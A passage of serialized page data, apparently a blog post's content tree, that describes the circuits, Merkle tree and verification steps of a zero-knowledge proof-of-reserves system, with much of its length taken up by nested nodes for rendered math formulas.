9,"children":97390},{},[97391],{"type":23,"tag":71,"props":97392,"children":97394},{"className":97393},[6318,6319],[97395],{"type":23,"tag":230,"props":97396,"children":97398},{"className":97397},[6324],[97399],{"type":23,"tag":230,"props":97400,"children":97402},{"className":97401,"ariaHidden":1726},[6329],[97403,97509],{"type":23,"tag":230,"props":97404,"children":97406},{"className":97405},[6334],[97407,97411,97416,97421,97426,97431,97436,97441,97446,97451,97456,97461,97466,97471,97476,97481,97486,97491,97496,97500,97505],{"type":23,"tag":230,"props":97408,"children":97410},{"className":97409,"style":94768},[6339],[],{"type":23,"tag":230,"props":97412,"children":97414},{"className":97413},[6345,23902],[97415],{"type":29,"value":181},{"type":23,"tag":230,"props":97417,"children":97419},{"className":97418},[6345,23902],[97420],{"type":29,"value":94817},{"type":23,"tag":230,"props":97422,"children":97424},{"className":97423},[6345,23902],[97425],{"type":29,"value":24044},{"type":23,"tag":230,"props":97427,"children":97429},{"className":97428,"style":94826},[6345],[97430],{"type":29,"value":5422},{"type":23,"tag":230,"props":97432,"children":97434},{"className":97433},[6345,23902],[97435],{"type":29,"value":32},{"type":23,"tag":230,"props":97437,"children":97439},{"className":97438,"style":94826},[6345,23902],[97440],{"type":29,"value":95645},{"type":23,"tag":230,"props":97442,"children":97444},{"className":97443},[6345,23902],[97445],{"type":29,"value":6074},{"type":23,"tag":230,"props":97447,"children":97449},{"className":97448},[6345,23902],[97450],{"type":29,"value":94853},{"type":23,"tag":230,"props":97452,"children":97454},{"className":97453},[24031],[97455],{"type":29,"value":6069},{"type":23,"tag":230,"props":97457,"children":97459},{"className":97458},[6345,23902],[97460],{"type":29,"value":181},{"type":23,"tag":230,"props":97462,"children":97464},{"className":97463},[6345,23902],[97465],{"type":29,"value":94817},{"type":23,"tag":230,"props":97467,"children":97469},{"className":97468},[6345,23902],[97470],{"type":29,"value":24044},{"type":23,"tag":230,"props":97472,"children":97474},{"className":97473,"style":94826},[6345],[97475],{"type":29,"value":5422},{"type":23,"tag":230,"props":97477,"children":97479},{"className":97478},[6345,23902],[97480],{"type":29,"value":58177},{"type":23,"tag":230,"props":97482,"children":97484},{"className":97483},[6345,23902],[97485],{"type":29,"value":95085},{"type":23,"tag":230,"props":97487,"children":97489},{"className":97488},[6345,23902],[97490],{"type":29,"value":52906},{"type":23,"tag":230,"props":97492,"children":97494},{"className":97493},[24053],[97495],{"type":29,"value":17735},{"type":23,"tag":230,"props":97497,"children":97499},{"className":97498,"style":6524},[6426],[],{"type":23,"tag":230,"props":97501,"children":97503},{"className":97502},[6529],[97504],{"type":29,"value":10911},{"type":23,"tag":230,"props":97506,"children":97508},{"className":97507,"style":6524},[6426],[],{"type":23,"tag":230,"props":97510,"children":97512},{"className":97511},[6334],[97513,97517,97522,97527,97532,97537,97542,97599,97604,97609,97614,97619,97624,97629,97634,97639,97644,97649,97654,97659,97664,97669,97674,97679,97684,97689,97694,97699,97704,97709,97714],{"type":23,"tag":230,"props":97514,"children":97516},{"className":97515,"style":94768},[6339],[],{"type":23,"tag":230,"props":97518,"children":97520},{"className":97519},[6345,23902],[97521],{"type":29,"value":12982},{"type":23,"tag":230,"props":97523,"children":97525},{"className":97524},[6345,23902],[97526],{"type":29,"value":95085},{"type":23,"tag":230,"props":97528,"children":97530},{"className":97529},[6345,23902],[97531],{"type":29,"value":5561},{"type":23,"tag":230,"props":97533,"children":97535},{"className":97534},[6345,23902],[97536],{"type":29,"value":32},{"type":23,"tag":230,"props":97538,"children":97540},{"className":97539},[6345,23902],[97541],{"type":29,"value":97172},{"type":23,"tag":230,"props":97543,"children":97545},{"className":97544},[6345],[97546,97551],{"type":23,"tag":230,"props":97547,"children":97549},{"className":97548,"style":97180},[6345,23902],[97550],{"type":29,"value":35377},{"type":23,"tag":230,"props":97552,"children":97554},{"className":97553},[6362],[97555],{"type":23,"tag":230,"props":97556,"children":97558},{"className":97557},[6367,23956],[97559,97588],{"type":23,"tag":230,"props":97560,"children":97562},{"className":97561},[6372],[97563,97583],{"type":23,"tag":230,"props":97564,"children":97566},{"className":97565,"style":95355},[6377],[97567],{"type":23,"tag":230,"props":97568,"children":97569},{"style":97201},[97570,97574],{"type":23,"tag":230,"props":97571,"children":97573},{"className":97572,"style":6387},[6386],[],{"type":23,"tag":230,"props":97575,"children":97577},{"className":97576},[6392,6393,6394,6395],[97578],{"type":23,"tag":230,"props":97579,"children":97581},{"className":97580},[6345,23902,6395],[97582],{"type":29,"value":6074},{"type":23,"tag":230,"props":97584,"children":97586},{"className":97585},[24059],[97587],{"type":29,"value":24062},{"type":23,"tag":230,"props":97589,"children":97591},{"className":97590},[6372],[97592],{"type":23,"tag":230,"props":97593,"children":97595},{"className":97594,"style":94909},[6377],[97596],{"type":23,"tag":230,"props":97597,"children":97598},{},[],{"type":23,"tag":230,"props":97600,"children":97602},{"className":97601},[6345],[97603],{"type":29,"value":312},{"type":23,"tag":230,"props":97605,"children":97607},{"className":97606},[6345,23902],[97608],{"type":29,"value":32},{"type":23,"tag":230,"props":97610,"children":97612},{"className":97611},[6345,23902],[97613],{"type":29,"value":95085},{"type":23,"tag":230,"props":97615,"children":97617},{"className":97616},[6345,23902],[97618],{"type":29,"value":5561},{"type":23,"tag":230,"props":97620,"children":97622},{"className":97621,"style":94838},[6345,23902],[97623],{"type":29,"value":94841},{"type":23,"tag":230,"props":97625,"children":97627},{"className":97626},[6345,23902],[97628],{"type":29,"value":6074},{"type":23,"tag":230,"props":97630,"children":97632},{"className":97631},[6345,23902],[97633],{"type":29,"value":2148},{"type":23,"tag":230,"props":97635,"children":97637},{"className":97636,"style":94826},[6345],[97638],{"type":29,"value":5422},{"type":23,"tag":230,"props":97640,"children":97642},{"className":97641},[6345,23902],[97643],{"type":29,"value":97277},{"type":23,"tag":230,"props":97645,"children":97647},{"className":97646},[6345,23902],[97648],{"type":29,"value":32},{"type":23,"tag":230,"props":97650,"children":97652},{"className":97651},[6345,23902],[97653],{"type":29,"value":95085},{"type":23,"tag":230,"props":97655,"children":97657},{"className":97656},[6345,23902],[97658],{"type":29,"value":24044},{"type":23,"tag":230,"props":97660,"children":97662},{"className":97661},[6345],[97663],{"type":29,"value":312},{"type":23,"tag":230,"props":97665,"children":97667},{"className":97666},[6345,23902],[97668],{"type":29,"value":181},{"type":23,"tag":230,"props":97670,"children":97672},{"className":97671},[6345,23902],[97673],{"type":29,"value":94817},{"type":23,"tag":230,"props":97675,"children":97677},{"className":97676},[6345,23902],[97678],{"type":29,"value":24044},{"type":23,"tag":230,"props":97680,"children":97682},{"className":97681,"style":94826},[6345],[97683],{"type":29,"value":5422},{"type":23,"tag":230,"props":97685,"children":97687},{"className":97686},[6345,23902],[97688],{"type":29,"value":32},{"type":23,"tag":230,"props":97690,"children":97692},{"className":97691,"style":94826},[6345,23902],[97693],{"type":29,"value":95645},{"type":23,"tag":230,"props":97695,"children":97697},{"className":97696},[6345,23902],[97698],{"type":29,"value":6074},{"type":23,"tag":230,"props":97700,"children":97702},{"className":97701},[6345,23902],[97703],{"type":29,"value":95656},{"type":23,"tag":230,"props":97705,"children":97707},{"className":97706},[24031],[97708],{"type":29,"value":6069},{"type":23,"tag":230,"props":97710,"children":97712},{"className":97711},[6345],[97713],{"type":29,"value":6358},{"type":23,"tag":230,"props":97715,"children":97717},{"className":97716},[24053],[97718],{"type":29,"value":17735},{"type":23,"tag":102,"props":97720,"children":97721},{},[97722,98080,98081],{"type":23,"tag":71,"props":97723,"children":97725},{"className":97724},[6318,6319],[97726],{"type":23,"tag":230,"props":97727,"children":97729},{"className":97728},[6324],[97730],{"type":23,"tag":230,"props":97731,"children":97733},{"className":97732,"ariaHidden":1726},[6329],[97734,97840],{"type":23,"tag":230,"props":97735,"children":97737},{"className":97736},[6334],[97738,97742,97747,97752,97757,97762,97767,97772,97777,97782,97787,97792,97797,97802,97807,97812,97817,97822,97827,97831,97836],{"type":23,"tag":230,"props":97739,"children":97741},{"className":97740,"style":94768},[6339],[],{"type":23,"tag":230,"props":97743,"children":97745},{"className":97744},[6345,23902],[97746],{"type":29,"value":181},{"type":23,"tag":230,"props":97748,"children":97750},{"className":97749},[6345,23902],[97751],{"type":29,"value":94817},{"type":23,"tag":230,"props":97753,"children":97755},{"className":97754},[6345,23902],[97756],{"type":29,"value":24044},{"type":23,"tag":230,"props":97758,"children":97760},{"className":97759,"style":94826},[6345],[97761],{"type":29,"value":5422},{"type":23,"tag":230,"props":97763,"children":97765},{"className":97764},[6345,23902],[97766],{"type":29,"value":32},{"type":23,"tag":230,"props":97768,"children":97770},{"className":97769,"style":94826},[6345,23902],[97771],{"type":29,"value":95645},{"type":23,"tag":230,"props":97773,"children":97775},{"className":97774},[6345,23902],[97776],{"type":29,"value":6074},{"type":23,"tag":230,"props":97778,"children":97780},{"className":97779},[6345,23902],[97781],{"type":29,"value":94853},{"type":23,"tag":230,"props":97783,"children":97785},{"className":97784},[24031],[97786],{"type":29,"value":6069},{"type":23,"tag":230,"props":97788,"children":97790},{"className":97789},[6345,23902],[97791],{"type":29,"value":181},{"type":23,"tag":230,"props":97793,"children":97795},{"className":97794},[6345,23902],[97796],{"type":29,"value":94817},{"type":23,"tag":230,"props":97798,"children":97800},{"className":97799},[6345,23902],[97801],{"type":29,"value":24044},{"type":23,"tag":230,"props":97803,"children":97805},{"className":97804,"style":94826},[6345],[97806],{"type":29,"value":5422},{"type":23,"tag":230,"props":97808,"children":97810},{"className":97809},[6345,23902],[97811],{"type":29,"value":58177},{"type":23,"tag":230,"props":97813,"children":97815},{"className":97814},[6345,23902],[97816],{"type":29,"value":95085},{"type":23,"tag":230,"props":97818,"children":97820},{"className":97819},[6345,23902],[97821],{"type":29,"value":52906},{"type":23,"tag":230,"props":97823,"children":97825},{"className":97824},[24053],[97826],{"type":29,"value":17735},{"type":23,"tag":230,"props":97828,"children":97830},{"className":97829,"style":6524},[6426],[],{"type":23,"tag":230,"props":97832,"children":97834},{"className":97833},[6529],[97835],{"type":29,"value":10911},{"type":23,"tag":230,"props":97837,"children":97839},{"className":97838,"style":6524},[6426],[],{"type":23,"tag":230,"props":97841,"children":97843},{"className":97842},[6334],[97844,97848,97853,97858,97863,97868,97873,97930,97935,97940,97945,97950,97955,97960,97965,97970,97975,97980,97985,97990,97995,98000,98005,98010,98015,98020,98025,98030,98035,98040,98045,98050,98055,98060,98065,98070,98075],{"type":23,"tag":230,"props":97845,"children":97847},{"className":97846,"style":94768},[6339],[],{"type":23,"tag":230,"props":97849,"children":97851},{"className":97850},[6345,23902],[97852],{"type":29,"value":12982},{"type":23,"tag":230,"props":97854,"children":97856},{"className":97855},[6345,23902],[97857],{"type":29,"value":95085},{"type":23,"tag":230,"props":97859,"children":97861},{"className":97860},[6345,23902],[97862],{"type":29,"value":5561},{"type":23,"tag":230,"props":97864,"children":97866},{"className":97865},[6345,23902],[97867],{"type":29,"value":32},{"type":23,"tag":230,"props":97869,"children":97871},{"className":97870},[6345,23902],[97872],{"type":29,"value":97172},{"type":23,"tag":230,"props":97874,"children":97876},{"className":97875},[6345],[97877,97882],{"type":23,"tag":230,"props":97878,"children":97880},{"className":97879,"style":97180},[6345,23902],[97881],{"type":29,"value":35377},{"type":23,"tag":230,"props":97883,"children":97885},{"className":97884},[6362],[97886],{"type":23,"tag":230,"props":97887,"children":97889},{"className":97888},[6367,23956],[97890,97919],{"type":23,"tag":230,"props":97891,"children":97893},{"className":97892},[6372],[97894,97914],{"type":23,"tag":230,"props":97895,"children":97897},{"className":97896,"style":95355},[6377],[97898],{"type":23,"tag":230,"props":97899,"children":97900},{"style":97201},[97901,97905],{"type":23,"tag":230,"props":97902,"children":97904},{"className":97903,"style":6387},[6386],[],{"type":23,"tag":230,"props":97906,"children":97908},{"className":97907},[6392,6393,6394,6395],[97909],{"type":23,"tag":230,"props":97910,"children":97912},{"className":97911},[6345,23902,6395],[97913],{"type":29,"value":6074},{"type":23,"tag":230,"props":97915,"children":97917},{"className":97916},[24059],[97918],{"type":29,"value":24062},{"type":23,"tag":230,"props":97920,"children":97922},{"className":97921},[6372],[97923],{"type":23,"tag":230,"props":97924,"children":97926},{"className":97925,"style":94909},[6377],[97927],{"type":23,"tag":230,"props":97928,"children":97929},{},[],{"type":23,"tag":230,"props":97931,"children":97933},{"className":97932},[6345],[97934],{"type":29,"value":312},{"type":23,"tag":230,"props":97936,"children":97938},{"className":97937},[6345,23902],[97939],{"type":29,"value":32},{"type":23,"tag":230,"props":97941,"children":97943},{"className":97942},[6345,23902],[97944],{"type":29,"value":95085},{"type":23,"tag":230,"props":97946,"children":97948},{"className":97947},[6345,23902],[97949],{"type":29,"value":5561},{"type":23,"tag":230,"props":97951,"children":97953},{"className":97952,"style":94838},[6345,23902],[97954],{"type":29,"value":94841},{"type":23,"tag":230,"props":97956,"children":97958},{"className":97957},[6345,23902],[97959],{"type":29,"value":6074},{"type":23,"tag":230,"props":97961,"children":97963},{"className":97962},[6345,23902],[97964],{"type":29,"value":2148},{"type":23,"tag":230,"props":97966,"children":97968},{"className":97967,"style":94826},[6345],[97969],{"type":29,"value":5422},{"type":23,"tag":230,"props":97971,"children":97973},{"className":97972},[6345,23902],[97974],{"type":29,"value":97277},{"type":23,"tag":230,"props":97976,"children":97978},{"className":97977},[6345,23902],[97979],{"type":29,"value":32},{"type":23,"tag":230,"props":97981,"children":97983},{"className":97982},[6345,23902],[97984],{"type":29,"value":95085},{"type":23,"tag":230,"props":97986,"children":97988},{"className":97987},[6345,23902],[97989],{"type":29,"value":24044},{"type":23,"tag":230,"props":97991,"children":97993},{"className":97992},[6345],[97994],{"type":29,"value":312},{"type":23,"tag":230,"props":97996,"children":97998},{"className":97997},[6345,23902],[97999],{"type":29,"value":181},{"type":23,"tag":230,"props":98001,"children":98003},{"className":98002},[6345,23902],[98004],{"type":29,"value":94817},{"type":23,"tag":230,"props":98006,"children":98008},{"className":98007},[6345,23902],[98009],{"type":29,"value":24044},{"type":23,"tag":230,"props":98011,"children":98013},{"className":98012,"style":94826},[6345],[98014],{"type":29,"value":5422},{"type":23,"tag":230,"props":98016,"children":98018},{"className":98017},[6345,23902],[98019],{"type":29,"value":32},{"type":23,"tag":230,"props":98021,"children":98023},{"className":98022,"style":94826},[6345,23902],[98024],{"type":29,"value":95645},{"type":23,"tag":230,"props":98026,"children":98028},{"className":98027},[6345,23902],[98029],{"type":29,"value":6074},{"type":23,"tag":230,"props":98031,"children":98033},{"className":98032},[6345,23902],[98034],{"type":29,"value":95656},{"type":23,"tag":230,"props":98036,"children":98038},{"className":98037},[24031],[98039],{"type":29,"value":6069},{"type":23,"tag":230,"props":98041,"children":98043},{"className":98042},[6345,23902],[98044],{"type":29,"value":181},{"type":23,"tag":230,"props":98046,"children":98048},{"className":98047},[6345,23902],[98049],{"type":29,"value":94817},{"type":23,"tag":230,"props":98051,"children":98053},{"className":98052},[6345,23902],[98054],{"type":29,"value":24044},{"type":23,"tag":230,"props":98056,"children":98058},{"className":98057,"style":94826},[6345],[98059],{"type":29,"value":5422},{"type":23,"tag":230,"props":98061,"children":98063},{"className":98062},[6345,23902],[98064],{"type":29,"value":58177},{"type":23,"tag":230,"props":98066,"children":98068},{"className":98067},[6345,23902],[98069],{"type":29,"value":95085},{"type":23,"tag":230,"props":98071,"children":98073},{"className":98072},[6345,23902],[98074],{"type":29,"value":52906},{"type":23,"tag":230,"props":98076,"children":98078},{"className":98077},[24053],[98079],{"type":29,"value":17735},{"type":29,"value":3374},{"type":23,"tag":2302,"props":98082,"children":98083},{},[98084],{"type":29,"value":98085},"(verifies if all asset prices are the same)",{"type":23,"tag":102,"props":98087,"children":98088},{},[98089,98468,98469],{"type":23,"tag":71,"props":98090,"children":98092},{"className":98091},[6318,6319],[98093],{"type":23,"tag":230,"props":98094,"children":98096},{"className":98095},[6324],[98097],{"type":23,"tag":230,"props":98098,"children":98100},{"className":98099,"ariaHidden":1726},[6329],[98101,98182],{"type":23,"tag":230,"props":98102,"children":98104},{"className":98103},[6334],[98105,98109,98114,98119,98124,98129,98134,98139,98144,98149,98154,98159,98164,98169,98173,98178],{"type":23,"tag":230,"props":98106,"children":98108},{"className":98107,"style":96239},[6339],[],{"type":23,"tag":230,"props":98110,"children":98112},{"className":98111},[6345,23902],[98113],{"type":29,"value":52906},{"type":23,"tag":230,"props":98115,"children":98117},{"className":98116,"style":94826},[6345,23902],[98118],{"type":29,"value":96251},{"type":23,"tag":230,"props":98120,"children":98122},{"className":98121,"style":96255},[6345,23902],[98123],{"type":29,"value":90463},{"type":23,"tag":230,"props":98125,"children":98127},{"className":98126,"style":94838},[6345,23902],[98128],{"type":29,"value":94841},{"type":23,"tag":230,"props":98130,"children":98132},{"className":98131},[6345,23902],[98133],{"type":29,"value":53227},{"type":23,"tag":230,"props":98135,"children":98137},{"className":98136,"style":94826},[6345],[98138],{"type":29,"value":5422},{"type":23,"tag":230,"props":98140,"children":98142},{"className":98141},[6345,23902],[98143],{"type":29,"value":24044},{"type":23,"tag":230,"props":98145,"children":98147},{"className":98146},[6345,23902],[98148],{"type":29,"value":96283},{"type":23,"tag":230,"props":98150,"children":98152},{"className":98151,"style":94826},[6345],[98153],{"type":29,"value":5422},{"type":23,"tag":230,"props":98155,"children":98157},{"className":98156},[6345,23902],[98158],{"type":29,"value":96294},{"type":23,"tag":230,"props":98160,"children":98162},{"className":98161},[6345,23902],[98163],{"type":29,"value":12982},{"type":23,"tag":230,"props":98165,"children":98167},{"className":98166},[6345,23902],[98168],{"type":29,"value":86124},{"type":23,"tag":230,"props":98170,"children":98172},{"className":98171,"style":6524},[6426],[],{"type":23,"tag":230,"props":98174,"children":98176},{"className":98175},[6529],[98177],{"type":29,"value":10911},{"type":23,"tag":230,"props":98179,"children":98181},{"className":98180,"style":6524},[6426],[],{"type":23,"tag":230,"props":98183,"children":98185},{"className":98184},[6334],[98186,98190,98195,98200,98205,98210,98215,98220,98225,98230,98235,98292,98297,98301,98306,98311,98368,98373,98377,98382,98387,98391,98396,98401,98463],{"type":23,"tag":230,"props":98187,"children":98189},{"className":98188,"style":6447},[6339],[],{"type":23,"tag":230,"props":98191,"children":98193},{"className":98192,"style":23903},[6345,23902],[98194],{"type":29,"value":23906},{"type":23,"tag":230,"props":98196,"children":98198},{"className":98197},[6345,23902],[98199],{"type":29,"value":94780},{"type":23,"tag":230,"props":98201,"children":98203},{"className":98202},[6345,23902],[98204],{"type":29,"value":6074},{"type":23,"tag":230,"props":98206,"children":98208},{"className":98207},[6345,23902],[98209],{"type":29,"value":72341},{"type":23,"tag":230,"props":98211,"children":98213},{"className":98212},[6345,23902],[98214],{"type":29,"value":94796},{"type":23,"tag":230,"props":98216,"children":98218},{"className":98217},[6345,23902],[98219],{"type":29,"value":58177},{"type":23,"tag":230,"props":98221,"children":98223},{"className":98222},[24031],[98224],{"type":29,"value":302},{"type":23,"tag":230,"props":98226,"children":98228},{"className":98227},[6345,23902],[98229],{"type":29,"value":96294},{"type":23,"tag":230,"props":98231,"children":98233},{"className":98232},[6345,23902],[98234],{"type":29,"value":12982},{"type":23,"tag":230,"props":98236,"children":98238},{"className":98237},[6345],[98239,98244],{"type":23,"tag":230,"props":98240,"children":98242},{"className":98241},[6345,23902],[98243],{"type":29,"value":86124},{"type":23,"tag":230,"props":98245,"children":98247},{"className":98246},[6362],[98248],{"type":23,"tag":230,"props":98249,"children":98251},{"className":98250},[6367,23956],[98252,98281],{"type":23,"tag":230,"props":98253,"children":98255},{"className":98254},[6372],[98256,98276],{"type":23,"tag":230,"props":98257,"children":98259},{"className":98258,"style":94878},[6377],[98260],{"type":23,"tag":230,"props":98261,"children":98262},{"style":94882},[98263,98267],{"type":23,"tag":230,"props":98264,"children":98266},{"className":98265,"style":6387},[6386],[],{"type":23,"tag":230,"props":98268,"children":98270},{"className":98269},[6392,6393,6394,6395],[98271],{"type":23,"tag":230,"props":98272,"children":98274},{"className":98273},[6345,6395],[98275],{"type":29,"value":6358},{"type":23,"tag":230,"props":98277,"children":98279},{"className":98278},[24059],[98280],{"type":29,"value":24062},{"type":23,"tag":230,"props":98282,"children":98284},{"className":98283},[6372],[98285],{"type":23,"tag":230,"props":98286,"children":98288},{"className":98287,"style":94909},[6377],[98289],{"type":23,"tag":230,"props":98290,"children":98291},{},[],{"type":23,"tag":230,"props":98293,"children":98295},{"className":98294},[6458],[98296],{"type":29,"value":6461},{"type":23,"tag":230,"props":98298,"children":98300},{"className":98299,"style":6465},[6426],[],{"type":23,"tag":230,"props":98302,"children":98304},{"className":98303},[6345,23902],[98305],{"type":29,"value":96294},{"type":23,"tag":230,"props":98307,"children":98309},{"className":98308},[6345,23902],[98310],{"type":29,"value":12982},{"type":23,"tag":230,"props":98312,"children":98314},{"className":98313},[6345],[98315,98320],{"type":23,"tag":230,"props":98316,"children":98318},{"className":98317},[6345,23902],[98319],{"type":29,"value":86124},{"type":23,"tag":230,"props":98321,"children":98323},{"className":98322},[6362],[98324],{"type":23,"tag":230,"props":98325,"children":98327},{"className":98326},[6367,23956],[98328,98357],{"type":23,"tag":230,"props":98329,"children":98331},{"className":98330},[6372],[98332,98352],{"type":23,"tag":230,"props":98333,"children":98335},{"className":98334,"style":94878},[6377],[98336],{"type":23,"tag":230,"props":98337,"children":98338},{"style":94882},[98339,98343],{"type":23,"tag":230,"props":98340,"children":98342},{"className":98341,"style":6387},[6386],[],{"type":23,"tag":230,"props":98344,"children":98346},{"className":98345},[6392,6393,6394,6395],[98347],{"type":23,"tag":230,"props":98348,"children":98350},{"className":98349},[6345,6395],[98351],{"type":29,"value":6348},{"type":23,"tag":230,"props":98353,"children":98355},{"className":98354},[24059],[98356],{"type":29,"value":24062},{"type":23,"tag":230,"props":98358,"children":98360},{"className":98359},[6372],[98361],{"type":23,"tag":230,"props":98362,"children":98364},{"className":98363,"style":94909},[6377],[98365],{"type":23,"tag":230,"props":98366,"children":98367},{},[],{"type":23,"tag":230,"props":98369,"children":98371},{"className":98370},[6458],[98372],{"type":29,"value":6461},{"type":23,"tag":230,"props":98374,"children":98376},{"className":98375,"style":6465},[6426],[],{"type":23,"tag":230,"props":98378,"children":98380},{"className":98379},[6345],[98381],{"type":29,"value":11922},{"type":23,"tag":230,"props":98383,"children":98385},{"className":98384},[6458],[98386],{"type":29,"value":6461},{"type":23,"tag":230,"props":98388,"children":98390},{"className":98389,"style":6465},[6426],[],{"type":23,"tag":230,"props":98392,"children":98394},{"className":98393},[6345,23902],[98395],{"type":29,"value":96294},{"type":23,"tag":230,"props":98397,"children":98399},{"className":98398},[6345,23902],[98400],{"type":29,"value":12982},{"type":23,"tag":230,"props":98402,"children":98404},{"className":98403},[6345],[98405,98410],{"type":23,"tag":230,"props":98406,"children":98408},{"className":98407},[6345,23902],[98409],{"type":29,"value":86124},{"type":23,"tag":230,"props":98411,"children":98413},{"className":98412},[6362],[98414],{"type":23,"tag":230,"props":98415,"children":98417},{"className":98416},[6367,23956],[98418,98452],{"type":23,"tag":230,"props":98419,"children":98421},{"className":98420},[6372],[98422,98447],{"type":23,"tag":230,"props":98423,"children":98425},{"className":98424,"style":94878},[6377],[98426],{"type":23,"tag":230,"props":98427,"children":98428},{"style":94882},[98429,98433],{"type":23,"tag":230,"props":98430,"children":98432},{"className":98431,"style":6387},[6386],[],{"type":23,"tag":230,"props":98434,"children":98436},{"className":98435},[6392,6393,6394,6395],[98437],{"type":23,"tag":230,"props":98438,"children":98440},{"className":98439},[6345,6395],[98441],{"type":23,"tag":230,"props":98442,"children":98444},{"className":98443},[6345,6395],[98445],{"type":29,"value":98446},"31",{"type":23,"tag":230,"props":98448,"children":98450},{"className":98449},[24059],[98451],{"type":29,"value":24062},{"type":23,"tag":230,"props":98453,"children":98455},{"className":98454},[6372],[98456],{"type":23,"tag":230,"props":98457,"children":98459},{"className":98458,"style":94909},[6377],[98460],{"type":23,"tag":230,"props":98461,"children":98462},{},[],{"type":23,"tag":230,"props":98464,"children":98466},{"className":98465},[24053],[98467],{"type":29,"value":5467},{"type":29,"value":3374},{"type":23,"tag":2302,"props":98470,"children":98471},{},[98472],{"type":29,"value":96614},{"type":23,"tag":102,"props":98474,"children":98475},{},[98476,98481,98482],{"type":23,"tag":2258,"props":98477,"children":98478},{},[98479],{"type":29,"value":98480},"checks if each sum is overflowing by checking if the sum of two positive numbers results in a negative one",{"type":29,"value":3374},{"type":23,"tag":2302,"props":98483,"children":98484},{},[98485],{"type":29,"value":96898},{"type":23,"tag":32,"props":98487,"children":98488},{},[98489],{"type":29,"value":98490},"Here is a visual scheme of the inputs of the recursive circuit. Note that this tree only has three levels (L1, L2, L3). Depending on the number of users, it may have more recursive levels:",{"type":23,"tag":32,"props":98492,"children":98493},{},[98494],{"type":23,"tag":93,"props":98495,"children":98497},{"alt":52351,"src":98496},"/posts/por/recursive-circuit.png",[],{"type":23,"tag":24,"props":98499,"children":98501},{"id":98500},"global-proof-and-inclusion-proofs",[98502],{"type":29,"value":98503},"Global Proof and Inclusion Proofs",{"type":23,"tag":59,"props":98505,"children":98506},{"id":11613},[98507],{"type":29,"value":98508},"Proving",{"type":23,"tag":32,"props":98510,"children":98511},{},[98512,98514,98520,98521,98527,98528,98534],{"type":29,"value":98513},"After proving all batch circuits and all recursive circuits, we have the final proof (which is the ZK proof of the recursive tree root), the entire Merkle tree, and the user nonces. In our code, it is serialized to ",{"type":23,"tag":71,"props":98515,"children":98517},{"className":98516},[],[98518],{"type":29,"value":98519},"merkle_tree.json",{"type":29,"value":684},{"type":23,"tag":71,"props":98522,"children":98524},{"className":98523},[],[98525],{"type":29,"value":98526},"final_proof.json",{"type":29,"value":8824},{"type":23,"tag":71,"props":98529,"children":98531},{"className":98530},[],[98532],{"type":29,"value":98533},"private_nonces.json",{"type":29,"value":98535}," files.",{"type":23,"tag":32,"props":98537,"children":98538},{},[98539],{"type":29,"value":98540},"Using the ZK proof and the Merkle tree, we can already prove the sum of the asset balances and their non-negativity; we refer to this as the \"global proof.\"",{"type":23,"tag":32,"props":98542,"children":98543},{},[98544,98546,98552,98554,98559],{"type":29,"value":98545},"For the user inclusion proofs, we get the Merkle tree, the user asset balances, the identification hash, and the nonce to bundle it in one proof file (",{"type":23,"tag":71,"props":98547,"children":98549},{"className":98548},[],[98550],{"type":29,"value":98551},"inclusion_proof_\u003Cid>.json",{"type":29,"value":98553},"). ",{"type":23,"tag":2258,"props":98555,"children":98556},{},[98557],{"type":29,"value":98558},"We bundle only a part of the Merkle tree to the inclusion proof file to make the proof smaller",{"type":29,"value":312},{"type":23,"tag":59,"props":98561,"children":98563},{"id":98562},"verifying",[98564],{"type":29,"value":98565},"Verifying",{"type":23,"tag":32,"props":98567,"children":98568},{},[98569],{"type":23,"tag":2302,"props":98570,"children":98571},{},[98572],{"type":29,"value":98573},"Global Proof",{"type":23,"tag":32,"props":98575,"children":98576},{},[98577,98579,98584,98585,98590],{"type":29,"value":98578},"To verify the global proof, the code deserializes the ",{"type":23,"tag":71,"props":98580,"children":98582},{"className":98581},[],[98583],{"type":29,"value":98519},{"type":29,"value":2231},{"type":23,"tag":71,"props":98586,"children":98588},{"className":98587},[],[98589],{"type":29,"value":98526},{"type":29,"value":98591}," files and performs these checks:",{"type":23,"tag":144,"props":98593,"children":98594},{},[98595,98600,98605,98610,98636],{"type":23,"tag":102,"props":98596,"children":98597},{},[98598],{"type":29,"value":98599},"Validate if the final proof was generated with a valid and trusted circuit.",{"type":23,"tag":102,"props":98601,"children":98602},{},[98603],{"type":29,"value":98604},"Verify the ZK final proof.",{"type":23,"tag":102,"props":98606,"children":98607},{},[98608],{"type":29,"value":98609},"Verify if asset prices are valid. (It doesn't verify if it matches the real price; you need to do it manually. It only verifies if decimals are valid.)",{"type":23,"tag":102,"props":98611,"children":98612},{},[98613,98615,98621,98623,98628,98629,98634],{"type":29,"value":98614},"Verify if the Merkle tree root hash is the same as the final proof ",{"type":23,"tag":71,"props":98616,"children":98618},{"className":98617},[],[98619],{"type":29,"value":98620},"merkle_tree_hash",{"type":29,"value":98622}," public input. This ensures that the ",{"type":23,"tag":71,"props":98624,"children":98626},{"className":98625},[],[98627],{"type":29,"value":98519},{"type":29,"value":112},{"type":23,"tag":71,"props":98630,"children":98632},{"className":98631},[],[98633],{"type":29,"value":98526},{"type":29,"value":98635}," are linked (they belong to the same global proof).",{"type":23,"tag":102,"props":98637,"children":98638},{},[98639],{"type":29,"value":98640},"Verify the entire Merkle tree by hashing all the nodes again, starting with the batch circuit, since the verifier won't have the necessary information to hash the leaves again (for privacy). This ensures that the tree was not tampered with.",{"type":23,"tag":32,"props":98642,"children":98643},{},[98644],{"type":23,"tag":2302,"props":98645,"children":98646},{},[98647],{"type":29,"value":98648},"Inclusion Proof",{"type":23,"tag":32,"props":98650,"children":98651},{},[98652,98654,98659,98661,98666],{"type":29,"value":98653},"To verify the inclusion proof, the code deserializes the ",{"type":23,"tag":71,"props":98655,"children":98657},{"className":98656},[],[98658],{"type":29,"value":98551},{"type":29,"value":98660}," file and also the ",{"type":23,"tag":71,"props":98662,"children":98664},{"className":98663},[],[98665],{"type":29,"value":98526},{"type":29,"value":98667},". After that, it performs these checks:",{"type":23,"tag":144,"props":98669,"children":98670},{},[98671,98675,98680,98685],{"type":23,"tag":102,"props":98672,"children":98673},{},[98674],{"type":29,"value":98604},{"type":23,"tag":102,"props":98676,"children":98677},{},[98678],{"type":29,"value":98679},"Verify if the Merkle tree root is the same as in the final proof.",{"type":23,"tag":102,"props":98681,"children":98682},{},[98683],{"type":29,"value":98684},"Recalculate the user-related node leaf hash.",{"type":23,"tag":102,"props":98686,"children":98687},{},[98688],{"type":29,"value":98689},"Verify a partial Merkle tree using the recalculated hash (it doesn't contain all the 